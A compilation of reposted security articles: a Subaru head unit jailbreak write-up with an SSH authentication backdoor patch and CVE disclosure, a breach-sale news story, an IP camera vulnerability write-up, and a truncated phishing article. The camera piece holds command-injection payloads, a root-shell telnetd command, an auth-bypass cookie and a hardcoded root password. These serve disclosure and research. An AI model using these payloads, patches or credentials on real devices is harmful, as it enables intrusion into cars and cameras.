67 20 4f 53 20 49 6d 61 |..Missing OS Ima| 000000a0 67 65 52 00 07 49 6e 76 61 6c 69 64 29 13 00 29 |geR..Invalid)..)| 000000b0 17 01 06 4d 75 6c 74 69 2d 76 03 03 00 3a 20 5b |...Multi-v...: [| 0x9010eb04 is the tag for a QNX6 filesystem. Some of the strings look slightly corrupted, which is probably explained by the compression. Cluster Decompression If we go back to the binary and look for a hint, we find a great one: LOAD:0805D6D8 41 73 73 65+aAssertionFaile DCB "Assertion failed in %s@%d:e == LZO_E_OK",0 This points us, with almost absolute certainty, to lzo. Take the chunk, pass it to lzo1x_decompress_safe() via C or Python, then get the following error message: lzo.error: Compressed data violation -6 So, this isn't miniLZO? This part stumped me for a few hours as lzo1x is by far the most commonly used compression function used from the LZO library. The LZO library does provide many other options that are benchmarked in the LZO documentation — i.e., there's also LZO1, LZO1A, LZO1B, LZO1C, LZO1F, LZO1Y, etc. lzo1x is packaged inside of miniLZO, and is recommended as the best, hence seems to be almost the only algorithm ever used as far as I am aware. From the LZO documentation: My experiments have shown that LZO1B is good with a large blocksize or with very redundant data, LZO1F is good with a small blocksize or with binary data and that LZO1X is often the best choice of all. LZO1Y and LZO1Z are almost identical to LZO1X - they can achieve a better compression ratio on some files. Beware, your mileage may vary. I tested most of the algorithms, and only one worked: lzo1c_decompress_safe. So, why was lzo1c used? I have absolutely no idea. My guess is someone was bored one day and benchmarked several of the lzo algorithms for QNXCNDFS, or someone thought this would make it difficult to recover the actual data. This just makes decryption an annoyance as every upstream lzo package usually only implements the lzo1x algorithm. Mounting the Image After all of this, we can now decrypt and decompress all of the chunks. Concatenating the result of this gives us a binary blob that looks quite like a QNX6 filesystem. The Linux kernel can be built to mount QNX6 filesystem as read-only thanks to the work of Kai Bankett. However, if we try to mount the concatenated image, we get a superblock error. $ sudo mount -t qnx6 -o loop system.dat.dec.noextent mnt mount: /home/work/workspace/mnt: wrong fs type, bad option, bad superblock on /dev/loop7, missing codepage or helper program, or other error. The kernel module reports: [ 567.260015] qnx6: unable to read the second superblock On top of all of this, some of the header fields do not appear to match up with what we expect: raw size (dword header offset: 0x10) does not match the file size of our decrypted and decompressed blob. This almost certainly has to do with the previously ignored extents section of the QNXCNDFS file. The Extents Section Most of the QNXCNDFS file is now understood, with one exception: the extents section. 00000200 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 |......... ......| 00000210 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000220 00 20 00 00 00 00 00 00 00 02 00 00 00 00 00 00 |. ..............| 00000230 80 02 00 00 00 00 00 00 00 20 00 00 00 00 00 00 |......... ......| 00000240 00 30 00 00 00 00 00 00 00 80 07 0c 00 00 00 00 |.0..............| 00000250 80 02 00 00 00 00 00 00 00 22 00 00 00 00 00 00 |........."......| 00000260 00 b0 ff 3f 00 00 00 00 00 02 00 00 00 00 00 00 |...?............| 00000270 80 0e 00 00 00 00 00 00 00 a2 07 00 00 00 00 00 |................| Low entropy again, so we can try guessing. We know the size and start of the extents section from the header. We know there are four "extents" (again from the header), hence the above is almost certainly four sets of four dwords. Searching the binary for useful strings isn't too productive. Two fields are named, but no other hints: LOAD:0805DD8C 41 73 73 65+aAssertionFaile_1 DCB "Assertion failed in %s@%d:cpos == xtnt->clstr0_pos",0 ... LOAD:0805DE2C 41 73 73 65+aAssertionFaile_2 DCB "Assertion failed in %s@%d:offset == xtnt->clstr0_off",0 So, one field may be a cluster position, the other may be some form of cluster offset. There seem to be some patterns in the data. If we assume the first dword is an address and the second dword is a length, the results look good. Extent at 0x200: Write Address: 0x00000000, Write Size: 0x00002000 Extent at 0x220: Write Address: 0x00002000, Write Size: 0x00000200 Extent at 0x240: Write Address: 0x00003000, Write Size: 0x0C078000 Extent at 0x260: Write Address: 0x3FFFB000, Write Size: 0x00000200 Adding up the write sizes gives us 0xC07A400, which matches the header field for "raw data bytes" of the file. These don't line up perfectly. The first and second extent makes sense — write address 0 + write size 0 = write address 1. What do the third and fourth dword represent? Clusters are likely involved, in fact, the third dword does point to offsets that line up with cluster table entries. Dword four is a bit mysterious. To solve this, understanding the QNX6 superblock structure is helpful. Understanding the Extents There's a well written write-up of the QNX6 filesystem structure done by the same individual that implemented the driver in the Linux kernel. Summarizing the useful parts, there are two superblocks in the filesystem images. One is near the beginning and one is near the end. Debugging the kernel module indicates that the first superblock is correct and validating, while the second is missing or invalid. Manually calculating the second superblock address via following the source code gets us this: //Blocksize is 1024 (0x400) //num_blocks = 0xFFFE0 //bootblock offset = #define QNX6_BOOTBLOCK_SIZE 0x2000 #define QNX6_SUPERBLOCK_AREA 0x1000 /* calculate second superblock blocknumber */ offset = fs32_to_cpu(sbi, sb1->sb_num_blocks) + (bootblock_offset >> s->s_blocksize_bits) + (QNX6_SUPERBLOCK_AREA >> s->s_blocksize_bits); So: 0xFFFE0 + (0x2000 >> 10) + (0x1000 >> 10) * 1024 block size is offset: (0xFFFE0 + 8 + 4) * 1024 = 0x3FFFB000 Note that the calculated second superblock address is the same as the last extent write address. At this point, it became clear to me that the extents section is just used to "compress" large runs of zeros. The last extent is skipping a large chunk of memory and then writing out the superblock from the end of the last cluster. Thus, we can process the extents like this: aa aa aa aa 00 00 00 00 bb bb bb bb 00 00 00 00 cc cc cc cc 00 00 00 00 dd dd dd dd 00 00 00 00 At offset 0xaaaaaaaa, write 0xbbbbbbbb bytes from offset 0xdddddddd into the cluster pointed to by cluster table entry 0xcccccccc. Or, a real example: 00000200 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 |......... ......| 00000210 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000220 00 20 00 00 00 00 00 00 00 02 00 00 00 00 00 00 |. ..............| 00000230 80 02 00 00 00 00 00 00 00 20 00 00 00 00 00 00 |......... ......| 00000240 00 30 00 00 00 00 00 00 00 80 07 0c 00 00 00 00 |.0..............| 00000250 80 02 00 00 00 00 00 00 00 22 00 00 00 00 00 00 |........."......| 00000260 00 b0 ff 3f 00 00 00 00 00 02 00 00 00 00 00 00 |...?............| 00000270 80 0e 00 00 00 00 00 00 00 a2 07 00 00 00 00 00 |................| mmap a 0 set file of header field "raw size" bytes. At offset 0x00000000, write 0x00002000 bytes from an offset of 0x00000000 into the cluster pointed to by table entry 0x0280. At offset 0x00002000, write 0x00000200 bytes from an offset of 0x00002000 into the cluster pointed to by table entry 0x0280. At offset 0x00003000, write 0x0c078000 bytes from an offset of 0x00002200 into the cluster pointed to by table entry 0x0280. At offset 0x3fffb000, write 0x00000200 bytes from an offset of 0x07a20000 into the cluster pointed to by table entry 0x0e80. As the 0x0c078000 byte write runs off the end of first cluster, the correct behavior is to jump to the next cluster in the table and continue reading. This simplifies the extents section. Final Decompression With this, we know enough to completely decompress the encrypted and compressed QNXCNDFS files and successfully mount them through the Linux QNX6 driver. This was all done via static analysis. See qdecant for a rough implementation of this, but do note that you'll have to compile your own python lzo module with one function call change for this to work. This was a quick, and woefully inefficient, script to get the files dumped as soon as possible. I would have improved it further, but you'll see why I didn't subsequently. system.dat Here's a small sample of the files and directories inside of system.dat: ./bin ... ./bin/bt_test ./bin/iocupdate ./bin/awk ./bin/display_image ./bin/gles1-gears ./bin/screenshot ... ./lib ./lib/libQt53DLogic.so.5 ... ./lib/libQt53DQuick.so.5 ./etc ./etc/resolv.conf ./etc/licenseAgreement.txt ./etc/openSourceLicenses.txt ./etc/options.connmgr ./app/usr/share/prompts/waveFiles/4CH ... ./app/usr/share/trace/UISpeechService.hbtc ./app/etc/wicome/DbVersion.txt ... ./app/etc/wicome/SCP.rnf ./app/etc/speech/AudioConfig.txt ./app/share/updatestrings.json ./app/wicome ./usr ./usr/var ./usr/var/DialogManager ./usr/var/DialogManager/DynamicUserDataGrammar ./usr/var/UISS ./usr/var/UISS/speechTEFiles/sat ./dialogManager/dialog/grammar/en_US/grammarHouseBackward.fcf ... ./ifs_images ./ifs_images/sys1.ifs ./ifs_images/core1.ifs ./ifs_images/hmi1.ifs ./ifs_images/second1.ifs ./ifs_images/third1.ifs Far less than I imagined. Plenty of duplicated files we already had access to from the ISO file. The interesting find are the new ifs files at the bottom. ifs_images There are plenty of more files in the system.dat ifs images. It is always fun to look around system internals. Here are a few interesting findings: tr.cpp - Some sort of build artifact. Has something to do with mapping fonts or translation strings to the UI I believe. Hints at a dealer, factory, and engineering mode. I believe dealer and factory can be triggered with known button combinations. I am unsure how to get into engineering mode or what it even contains. "FACTORY_MODE"<<"DEALER_MODE"<<"ENGINEERING_MODE"; CarplayService.cfg - Apple apparently recommends that head units supporting Carplay not inject their own UI/functionality on top of or next to Carplay. Well done Apple and Subaru, that's always annoying. "Screen_Width": 800, /* March-02-2016: The Apple Spec recommended is slightly changed here as per discussion with Apple [during demo over webex] and they suggested the carplay screen to occupy full screen of HU removing the status bar [maserati icon]*/ Internal document — Found an older Microsoft Office document with what looks like company internal details (serial numbers) on various components. Mentions a number of cars in the Subaru lineup then a codename for some sort of new Subaru North American vehicle. This is from 2016, so I'd guess that vehicle has already been announced by now. On the bright side, it didn't look very sensitive. Overall, there was lots of stuff, but no obvious code execution mechanisms found in the brief search. I was hoping for a script that loaded code from the USB drives, some form of debugging mode with peek/poke, or anything useful. There are enough files here where I could probably keep exploring and find an avenue, but let's revisit the serial port for now. Back to QNXCNDFS Most of the QNXCNDFS structure is understood. Nowhere during the reverse engineering process did I find any signatures, signature verification code, or strings indicating some form of signature check taking place. However, being able to prove that there isn't a signature check is difficult through reverse engineering alone. The easiest way to prove this would be to generate our own custom QNXCNDFS image, overwrite one in the update file, and try to flash it down. It it works, great; if not, we'll probably get a new error message that will point us to another signature check we missed. As we understand the file structure, we could work backwards and create a tool to compress a QNX6 filesystem image into a QNXCNDFS file. But we also know that the cndfs application looks to support creating QNXCNDFS files, so if we already had code-execution, we could just use that tool to create our images and skip the time-consuming step of trying to generate valid QNXCNDFS files from scratch. Both are viable options, but let's look for more flaws first. The Shadow File Here's the shadow file with the hashes replaced. root:@S@aaaaa@56c26c380d39ce15:1042473811:0:0 logger:@S@bbbbb@607cb4704d35c71b:1420070987:0:0 certifier:@S@ccccc@e0a3f6794d650876:1420137227:0:0 Three passwords I failed to crack. Here's passwd: root:x:0:0:Superuser:/:/bin/sh daemon::1:2:daemon:/: dm::2:8:dwnmgr:/: Important notes about passwd here, from the QNX manual: If the has_passwd field contains an x character, a password has been defined for this user. If no character is present, no password has been defined. and The initial_command field contains the initial command to run after the user has successfully logged in. This command and any arguments it takes must be separated by tab or space characters. As the command is spawned directly (not run by a shell), no shell expansions is performed. There is no mechanism for specifying command-line arguments that contain space or tab characters themselves. (Quoting isn't supported.) If no initial_command is specified, /bin/sh is used. So, we can potentially login over serial to daemon and dm. They have no password defined, and no initial command specified, which implies /bin/sh will be the command. Does this work? Non-privileged Code Execution Absolutely. $ ls sh: ls: cannot execute - No such file or directory $ echo $PATH :/proc/boot:/bin:/usr/sbin:/fs/core1/core1/bin:/fs/sys1/sys1/bin:/fs/core/hmi:/fs/second1/second1/bin:/fs/third1/third1/bin:/sbin:/fs/system/bin $ cd /fs/system/bin $ echo * HBFileUpload NmeCmdLine antiReadDisturbService awk bt_test cat cdqnx6fs changeIOC chkdosfs chkfsys chkqnx6fs chmod cp cypress_ctrl date dbus-send dbustracemonitor dd devb-umass devc-serusb display_image emmcvuc fdisk fs-cifs fsysinfo gles1-gears grep hd hmiHardControlReceiver hogs inetd inject iocupdate isodigest ls mediaOneTestCLI mkdir mkdosfs mkqnx6fs mtouch_inject mv netstat pcm_logger pfctl pidin ping pppd qdbc rm screenshot showmem slog2info softwareUpdate sshd sync telematicsService telnetd testTimeshift top tracelogger ulink_ctrl use watchdog-server which $ ./cdqnx6fs sh: ./cdqnx6fs: cannot execute - Permission denied Unfortunately, nearly ever binary is locked down to the root user. We can only navigate around via cd and dump directory contents with echo *. The good news is that when the system mounts a FAT32 USB drive, it marks every binary as 777. Thus, glob every binary we've extracted thus far into a folder on a flash drive, insert it into the head unit USB adapter, connect to dm or daemon via serial, set your $PATH to include the aforementioned folder, and then type ls. $ ls -las / total 201952 1 lrwxrwxrwx 1 root root 28 Jan 01 00:02 HBpersistence -> /fs/data/app/usr/share/trace 1 drwxr-xr-x 2 root root 30 May 25 2017 bin 1 drwxr-xr-x 2 root root 10 May 25 2017 dev 1 drwxr-xr-x 2 root root 20 May 25 2017 etc 0 dr-xr-xr-x 2 root root 0 Jan 01 00:02 fs 1 dr-xr-x--- 2 root 73 10 Dec 31 1969 home 0 drwxrwxr-x 8 root root 0 Jan 01 00:01 pps 201944 dr-xr-xr-x 2 root root 103395328 Jan 01 00:02 proc 1 dr-xr-x--- 2 root upd 10 Dec 31 1969 sbin 0 dr-xr-xr-x 2 root root 0 Jan 01 00:02 srv 1 lrwxrwxrwx 1 root root 10 May 25 2017 tmp -> /dev/shmem 1 drwxr-xr-x 2 root root 10 May 25 2017 usr Local code execution via serial. We can now execute every binary that doesn't require any sort of enhanced privileges. cdqnx6fs is one of them. $ ./cdqnx6fs ---help cdqnx6fs - condense / restore Power-Safe (QNX6) file-systems cdqnx6fs -c [(general-option | condense-option)...] src dst cdqnx6fs -r [(general-option | restore-option)...] src dst I wish I could provide some sage advice on how I solved this but it just comes down to experience. Do it enough and patterns will emerge. Image Creation Assuming cdqnx6fs works, we can now extract the system.dat (using the -r flag), mount the extracted QNX6 image in a system that supports read/write operations, modify the image in some way, flash it back down, and see if it works. If the image truly isn't signed or the verification code is broken, the flashing step will succeed. To modify the QNX6 images, we can't use the Linux driver as that only supports reading. We'll have to use an official QNX 6 test VM for full QNX6 filesystem IO. Extract the image, mount the image, add a test file in a known directory, unmount the image, transfer it back to the Harman head unit, repackage it using the correct encryption key, replace the file into the update package, flash it down, pray. The install succeeds and we can find the new file via serial. The system effectively runs unsigned code and the only "protection" against this is what looks to be an easily reverse engineered cipher. Root Escalation We can now modify system files, but the next question is, what files should we modify for root code execution? Keep in mind that the shadow file and various SSH keys are in the IFS binary blobs. So, while the best root method may be replacing the root password, that would involve more reverse engineering. We don't know the IFS file structure, and at this point, diving into yet another binary blob black box format doesn't sound enjoyable. (Someone else do it.) There are a large number of files not in the IFS images, but none of them are shell scripts or any sort of obvious startup script we can modify. Our options are mostly all system binaries. There are an infinite number of ways to gain (network) code execution by replacing binaries, but I'll stick with what I thought of first. Let's backdoor SSH to always log us in even if the password is incorrect. Backdooring SSH You'd think this part would just be a web search away. Unfortunately, searching for "backdooring ssh" leads to some pretty useless parts of the Internet. Pull the source for the version of OpenSSH running on the system — it's 5.9 (check strings and you'll see OpenSSH_5.9 QNX_Secure_Shell-20120127). Browse around, try to understand the authentication process, and target a location for a patch. There were a few locations that looked good, but I started here in auth2-passwd.c: Here's userauth_passwd: static int userauth_passwd(Authctxt *authctxt) { char *password, *newpass; int authenticated = 0; int change; u_int len, newlen; change = packet_get_char(); password = packet_get_string(&len); if (change) { /* discard new password from packet */ newpass = packet_get_string(&newlen); memset(newpass, 0, newlen); xfree(newpass); } packet_check_eom(); if (change) logit("password change not supported"); else if (PRIVSEP(auth_password(authctxt, password)) == 1) authenticated = 1; memset(password, 0, len); xfree(password); return authenticated; } The patch should be straight forward. Instead of returning authenticated = 0 on failure, always return authenticated = 1. Find this location in the binary by matching strings: .text:080527E6 .text:080527E6 loc_80527E6 ; CODE XREF: sub_805279C+38↑j .text:080527E6 CBZ R6, loc_80527F2 .text:080527E8 LDR R0, =aPasswordChange_0 ; "password change not supported" .text:080527EA MOVS R5, #0 .text:080527EC BL sub_806CC94 .text:080527F0 B loc_805280E .text:080527F2 ; --------------------------------------------------------------------------- .text:080527F2 .text:080527F2 loc_80527F2 ; CODE XREF: sub_805279C:loc_80527E6↑j .text:080527F2 LDR R3, =dword_808A758 .text:080527F4 MOV R0, R5 .text:080527F6 MOV R1, R4 .text:080527F8 LDR R3, [R3] .text:080527FA CBZ R3, loc_8052802 .text:080527FC BL sub_8056A18 .text:08052800 B loc_8052806 .text:08052802 ; --------------------------------------------------------------------------- .text:08052802 .text:08052802 loc_8052802 ; CODE XREF: sub_805279C+5E↑j .text:08052802 BL sub_8050778 .text:08052806 .text:08052806 loc_8052806 ; CODE XREF: sub_805279C+64↑j .text:08052806 SUBS R3, R0, #1 .text:08052808 NEGS R0, R3 .text:0805280A ADCS R0, R3 .text:0805280C MOV R5, R0 .text:0805280E .text:0805280E loc_805280E ; CODE XREF: sub_805279C+54↑j .text:0805280E MOVS R1, #0 ; c .text:08052810 LDR R2, [SP,#0x28+var_24] ; n .text:08052812 MOV R0, R4 ; s .text:08052814 BLX memset .text:08052818 MOV R0, R4 .text:0805281A BL sub_8072DB0 .text:0805281E LDR R3, =__stack_chk_guard .text:08052820 LDR R2, [SP,#0x28+var_1C] .text:08052822 MOV R0, R5 .text:08052824 LDR R3, [R3] .text:08052826 CMP R2, R3 .text:08052828 BEQ loc_805282E .text:0805282A BLX __stack_chk_fail .text:0805282E ; --------------------------------------------------------------------------- .text:0805282E .text:0805282E loc_805282E ; CODE XREF: sub_805279C+8C↑j .text:0805282E ADD SP, SP, #0x14 .text:08052830 POP {R4-R7,PC} R0 is our return value in ARM, and will contain the value of authenticated on subroutine exit. The write to R0 is: .text:08052822 28 46 MOV R0, R5 Change this to return authenticated = 1;, which is going to be this in ASM: .text:08052822 01 20 MOVS R0, #1 Thus, 28 46 -> 01 20. Not the best backdoor possible, but it works. $ ssh root@192.168.0.1 ****************************** SUBARU ******************************* Warning - You are knowingly accessing a secured system. That means you are liable for any mischeif you do. ********************************************************************* root@192.168.0.1's password: # uname -a QNX localhost 6.6.0 2016/09/07-09:25:33CDT i.MX6S_Subaru_Gen3_ED2_Board armle # cat /etc/shadow root:@S@aaaaaa@56c26c380d39ce15:1042473811:0:0 logger:@S@bbbbbb@607cb4704d35c71b:1420070987:0:0 certifier:@S@cccccc@e0a3f6794d650876:1420137227:0:0 # pidin -F "%n %U %V %W %X %Y %Z" | grep sh usr/sbin/sshd 0 0 0 0 0 0 usr/sbin/sshd 0 0 0 0 0 0 bin/sh 0 0 0 0 0 0 Putting it All Together To root any 2017+ Subaru StarLink head unit, an attacker needs the following to generate valid update images: A Subaru head unit with serial and USB port access. The encryption keys for the update files. An official update. These seem to be available for most platforms in many different ways. Without the official update, the ISO signature check will fail and the install will not continue to the stage where the QNXCNDFS files are written. Physical access to the vehicles USB ports. Technically, the head unit isn't needed, but to replace it you'd need code to generate QNXCNDFS images from QNX6 filesystem images. After we have those pieces: Use the serial and USB ports to gain local code execution on the system. Decondense an official software update QNXCNDFS image. Use the QNX Platform VM Image to modify the QNX6 filesystem. Inject some form of backdoor — sshd in this case. Re-package the update file via cndfs. Replace the modified QNXCNDFS file in the official system update. Install. While this may seem like an execessive number of steps to gain code execution, keep in mind an attacker would only need to do this once and then could conceivably generate valid updates for other platforms. Valid update images were initially challenging to find, but it appears that Subaru is now releasing these via a map-update application that can be used if you have a valid VIN. I will not be releasing modified update files and I wouldn't recommend doing this to your own car. CVE-2018-18203 A vulnerability in the update mechanism of Subaru StarLink head units 2017, 2018, and 2019 may give an attacker (with physical access to the vehicle's USB ports) the ability to rewrite the firmware of the head unit. This vulnerability is due to bugs in the signature checking implementation used when verifying specific update files. An attacker could potentially install persistent malicious head unit firmware and execute arbitrary code as the root user. Next Steps After all of this, I still know very little about the Harman head unit system, but I do know how to root them. Reverse engineering QNXCNDFS wasn't required, but was an interesting avenue to explore and may help other researchers in the future. The next step is far less tedious than reversing filesystem containers — explore the system, see what hidden functionality exists (Andromeda is probably a goldmine, map out dbus), setup a cross-compiler, and so on. Notes from Subaru and Harman Both Subaru and Harman wanted to relay messages about the flaw in this write-up. I have paraphrased them below. If you have questions, please contact either Subaru or Harman directly. Note from Subaru Subaru will have updates for head units affected by this flaw in the coming weeks. Note from Harman The firmware update process attempted to verify the authenticity of the QNXCNDFS dat files. The procedure in question had a bug in it that caused unsigned images to verify as "valid", which allowed for unsigned code installation. Conclusion I started this in my free time in July of 2018 and finished early the next month. Overall, the process took less than 100 hours. The embargo was originally scheduled for 90 days, which would have been November 5th, 2018. Subaru requested more time before the original embargo ended and I agreed to extend it until the end of November. I was unable to find any sort of responsible/coordinated disclosure form on Harman or Subaru's websites. That was disappointing as Harman seems to have plenty of sales pages detailing their security programs and systems. I did managed to find a Harman security engineer on LinkedIn who did an excellent job handling the incident. Thank you! Harman and Subaru should not assume that the biggest flaw is releasing update files. Letting customers update their own head units is wonderful, and it lets security researchers find flaws and report them. Giving the updates exclusively to dealers prevents the good guys from finding bugs. Nation states and organized crime would certainly not have trouble gaining access to firmware and software updates. If anyone affiliated with education or some other useful endeavor would like the head unit, I'll be happy to ship it assuming you pay the shipping costs and agree to never install this in a vehicle. Thank you to those I worked with at Harman, especially Josiah Bruner, and to Subaru for making a great car. Questions, comments, complaints? github.scott@gmail.com Sursa: https://github.com/sgayou/subaru-starlink-research/blob/master/doc/README.md#jailbreaking-subaru-starlink
      • 2
      • Thanks
      • Upvote
  10. Hacker Breaches Dozens of Sites, Puts 127 Million New Records Up for Sale February 15, 2019Swati Khandelwal A hacker who was selling details of nearly 620 million online accounts stolen from 16 popular websites has now put up a second batch of 127 million records originating from 8 other sites for sale on the dark web. Last week, The Hacker News received an email from a Pakistani hacker who claims to have hacked dozens of popular websites (listed below) and selling their stolen databases online. During an interview with The Hacker News, the hacker also claimed that many targeted companies have probably no idea that they have been compromised and that their customers' data have already been sold to multiple cyber criminal groups and individuals. Package 1: Databases From 16 Compromised Websites On Sale In the first round, the hacker who goes by online alias "gnosticplayers" was selling details of 617 million accounts belonging to the following 16 compromised websites for less than $20,000 in Bitcoin on dark web marketplace Dream Market: Dubsmash — 162 million accounts MyFitnessPal — 151 million accounts MyHeritage — 92 million accounts ShareThis — 41 million accounts HauteLook — 28 million accounts Animoto — 25 million accounts EyeEm — 22 million accounts 8fit — 20 million accounts Whitepages — 18 million accounts Fotolog — 16 million accounts 500px — 15 million accounts Armor Games — 11 million accounts BookMate — 8 million accounts CoffeeMeetsBagel — 6 million accounts Artsy — 1 million accounts DataCamp — 700,000 accounts Out of these, the popular photo-sharing service 500px has confirmed that the company suffered a data breach in July last year and that personal data, including full names, usernames, email addresses, password hashes, location, birth date, and gender, for all the roughly 14.8 million users existed at the time was exposed online. Just yesterday, Artsy, DataCamp and CoffeeMeetsBagel have also confirmed that the companies were victims of a breach last year and that personal and account details of their customers was stolen by an unauthorized attacker. Diet tracking service MyFitnessPal, online genealogy platform MyHeritage and cloud-based video maker service Animoto had confirmed the data breaches last year. In response to the news, video-sharing app Dubsmash also issued a notice informing its users that they have launched an investigation and contacted law enforcement to look into the matter. Package 2: Hacked Databases From 8 More Websites On Sale While putting the second round of the stolen accounts up for sale on the Dream Market—one of the largest dark web marketplaces for illegal narcotics and drug paraphernalia—the hacker removed the collection of the first round to avoid them from getting leaked and land on security initiatives like Google's new Password Checkup tool. Gnosticplayers told The Hacker News in an email that the second round listed stolen data from 127 million accounts that belonged to the following 8 hacked websites, which was up for sale for $14,500 in bitcoin: Houzz — 57 million accounts YouNow — 40 million accounts Ixigo — 18 million accounts Stronghold Kingdoms — 5 million accounts Roll20.net — 4 million accounts Ge.tt — 1.83 million accounts Petflow and Vbulletin forum — 1.5 million accounts Coinmama (Cryptocurrency Exchange) — 420,000 accounts Of the above-listed websites, only Houzz has confirmed the security breach earlier this month that compromised its customers' public information and certain internal account information. Like the first round, the recent collection of 127 million stolen accounts has also been removed from the sale on the dark web. Though some of the services are resetting users' passwords after confirming its data was stolen, if you are a user of any of the above-listed services, you should consider changing your passwords in the event you re-used the same password across different websites. Have something to say about this article? Comment below or share it with us on Facebook, Twitter or our LinkedIn Group. Sursa: https://thehackernews.com/2019/02/data-breach-website.html?m=1
  11. Maurits van Altvorst Achieving remote code execution on a Chinese IP camera February 14, 2019 Background Cheap Chinese Internet of Things devices are on the rise. Unfortunately, security on these devices is often an afterthought. I recently got my hands on an “Alecto DVC-155IP” IP camera. It has Wi-Fi, night vision, two-axis tilt and yaw control, motion sensing and more. My expectations regarding security were low, but this camera was still able to surprise me. Setting up the camera Setting up the camera using the app was a breeze. I had to enter my Wi-Fi details, a name for the camera and a password. Nothing too interesting so far. Using Nmap on the camera gave me the following results: ➜ ~ nmap -A 192.168.178.59 Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-09 12:59 CET Nmap scan report for 192.168.178.59 Host is up (0.010s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet BusyBox telnetd 80/tcp open http thttpd 2.25b 29dec2003 |_http-server-header: thttpd/2.25b 29dec2003 |_http-title: Site doesn't have a title (text/html; charset=utf-8). 554/tcp open rtsp HiLinux IP camera rtspd V100R003 (VodServer 1.0.0) |_rtsp-methods: OPTIONS, DESCRIBE, SETUP, TEARDOWN, PLAY Service Info: Host: RT-IPC; Device: webcam Three open ports: 23, 80 and 554. Surprisingly, port 23 doesn’t get mentioned anywhere in the manual. Is this some debug port from the manufacturer, or a backdoor from the Chinese government? After manually testing a few passwords via telnet I moved on. When I connected to the admin panel - accessible on port 80 - I was greeted with a standard login screen that prompts the user for a username and password. The first step I took was opening the Chrome developer tab. This allows you to inspect the network requests that Chrome made while visiting a website. I saw that there were a lot of requests being made for a simple login page. My eye quickly fell on a specific request: /cgi-bin/hi3510/snap.cgi?&-getstream&-chn=2 Hmm, “getstream”, I wonder what happens if I open this in another tab… Within 2 minutes I’ve gained unauthenticated access to the live view of the camera. I knew that cheap Chinese cameras weren’t secure, but I didn’t expect it was this bad. Other observations While looking through the network requests, I noticed some more notable endpoints: You are able to get the Wi-Fi SSID, BSSID, and password from the network the camera is connected to by visiting /cgi-bin/getwifiattr.cgi. This allows you to retrieve the location of the camera via a service such as wigle.net. You are able to set the camera’s internal time via /cgi-bin/hi3510/setservertime.cgi?-time=YYYY.MM.DD.HH.MM.SS&-utc. I’m not sure if this opens up any attack vectors, but it’s interesting nonetheless. It might be possible to do some interesting things by sending invalid times or big strings, but I don’t want to risk bricking my camera testing this. You are able to get the camera’s password via /cgi-bin/p2p.cgi?cmd=p2p.cgi&-action=get. Of course, you don’t even need the password to log in. Just set the “AuthLevel” cookie to 255 and you instantly get admin access. You are able to get the serial number, hardware revision, uptime, and storage info via /web/cgi-bin/hi3510/param.cgi?cmd=getserverinfo All of these requests are unauthenticated. Remote code execution Let’s take another look at the requests made on the login page. You can see a lot of “.cgi” requests. CGI-files are “Common Gateway Interface” files. They are executable scripts used in web servers to dynamically create web pages. Because they’re often based on bash scripts, I started focusing on these requests first because I thought I might find an endpoint susceptible to bash code injection. To find out if a .cgi endpoint was vulnerable, I tried substituting some request parameters with $(sleep 3). When I tried /cgi-bin/p2p.cgi?cmd=p2p.cgi&-action=$(sleep 3), it took a suspiciously long time before I got back my response. To confirm that I can execute bash code, I opened Wireshark on my laptop and sent the following payload to the camera: $(ping -c2 192.168.178.243) And sure enough, I saw two ICMP requests appear on my laptop. But surely, nobody in their right mind would connect such a cheap, insecure IP camera directly to the internet, right? That’s 710 Alecto DVC-155IP cameras connected to the internet that disclose their Wi-Fi details (which means that I can figure out its location by using a service such as wigle.net), allow anyone to view their live stream and are vulnerable to RCE. And this is just their DVC-155IP model, Alecto manufactures many different IP cameras each running the same software. Returning to port 23 Now that I’m able to run commands, it’s time to return to the mysterious port 23. Unfortunately, I’m not able to get any output from the commands I execute. Using netcat to send the output of the commands I executed also didn’t work for some reason. After spending way too much time without progress, this was the command that did the trick: telnetd -l/bin/sh -p9999 This starts a telnet server on port 9999. And sure enough, after connecting to it I was greeted with an unauthenticated root shell. Reading /etc/passwd gave me the following output: root:$1$xFoO/s3I$zRQPwLG2yX1biU31a2wxN/:0:0::/root:/bin/sh I didn’t even have to start Hashcat for this one: a quick Google search of the hash was all I needed to find that the password of the mysterious backdoor port was cat1029. Yes, the password to probably thousands of IP cameras on the internet is cat1029. And the worst part is that there’s no possible way to change this password anywhere in the typical user interface. Contacting the manufacturer When I contacted Alecto with my findings, they told me they weren’t able to solve these problems because they didn’t create the software for their devices. After a quick Shodan search I found that there were also internet connected cameras from other brands, such as Foscam and DIGITUS, that had these vulnerabilities. Their user interfaces look different, but they were susceptible to the same exact vulnerabilities via the same exact endpoints. It seems that these IP cameras are manufactured by a Chinese company in bulk (OEM). Other companies like Alecto, Foscam, and DIGITUS, resell them with slightly modified firmware and custom branding. A vulnerability in the Chinese manufacturer’s software means that all of its children companies are vulnerable too. Unfortunately, I don’t think that the Chinese OEM manufacturer will do much about these vulnerabilities. I guess that the phrase “The S in IoT stands for security” is true after all. Author | Maurits van Altvorst I'm 16 years old and a student from Gemeentelijk Gymnasium Hilversum. You can find my Github here and my Linkedin here Sursa: https://www.mauritsvanaltvorst.com/rce-chinese-ip-cameras/
      • 1
      • Upvote
  12. WARNING – New Phishing Attack That Even Most Vigilant Users Could Fall For February 15, 2019Mohit Kumar How do you check if a website asking for your credentials is fake or legit to log in? By checking if the URL is correct? By checking if the website address is not a homograph? By checking if the site is using HTTPS? Or using software or browser extensions that detect phishing domains? Well, if you, like most Internet users, are also relying on above basic security practices to spot if that "Facebook.com" or "Google.com" you have been served with is fake or not, you may still fall victim to a newly discovered creative phishing attack and end up in giving away your passwords to hackers. Antoine Vincent Jebara, co-founder and CEO of password managing software Myki, told The Hacker News that his team recently spotted a new phishing attack campaign "that even the most vigilant users could fall for." Vincent found that cybercriminals are distributing links to blogs and services that prompt visitors to first "login using Facebook account" to read an exclusive article or purchase a discounted product. That’s fine. Login with Facebook or any other social media service is a safe method and is being used by a large number of websites to make it easier for visitors to sign up for a third-party service quickly. Generally, when you click "log in with Facebook" button available on any website, you either get redirected to facebook.com or are served with facebook.com in a new pop-up browser window, asking you to enter your Facebook credentials to 